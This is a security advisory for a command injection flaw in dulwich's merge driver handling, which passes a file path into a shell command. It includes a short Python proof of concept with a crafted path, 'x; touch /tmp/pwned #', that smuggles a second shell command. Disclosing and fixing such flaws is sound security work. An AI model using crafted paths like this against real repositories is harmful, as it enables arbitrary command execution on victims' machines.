🛡️ CVE-2026-42563 — dulwich

Dulwich Vulnerable to Command Injection via Merge Driver Path

Summary

Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.

Description

• Type: Command Injection
• Source: merge.py line 195 — path from merge tree (from repository content when merging untrusted branch)
• Sink: merge_drivers.py lines 124–127 — subprocess.run(cmd, shell=True) where cmd includes path via %P placeholder
• Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the %P placeholder.

Resources

• Repository: https://github.com/dulwich/dulwich
• Vulnerable file: dulwich/merge_drivers.py (lines 119–129)

Proof of Concept

```python

from dulwich.attrs import GitAttributes, Pattern

from dulwich.config import ConfigDict

from dulwich.merge import merge_blobs

from dulwich.objects import Blob

# Merge driver with %P (path) - typical for custom merge tools

config = ConfigDict()

config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")

patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]

gitattributes = GitAttributes(patterns)

base = Blob.from_string(b"base")

ours = Blob.from_string(b"ours")

theirs = Blob.from_string(b"theirs")

# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"

malicious_path = b"x; touch /tmp/pwned #"

merge_blobs(base, ours, theirs, path=malicious_path,

gitattributes=gitattributes, config=config)

# => Executes: echo x; touch /tmp/pwned #

# => Shell runs: echo x, then touch /tmp/pwned

```

Fix

[merge_drivers_shell_escape.patch](https://github.com/user-attachments/files/27016503/merge_drivers_shell_escape.patch)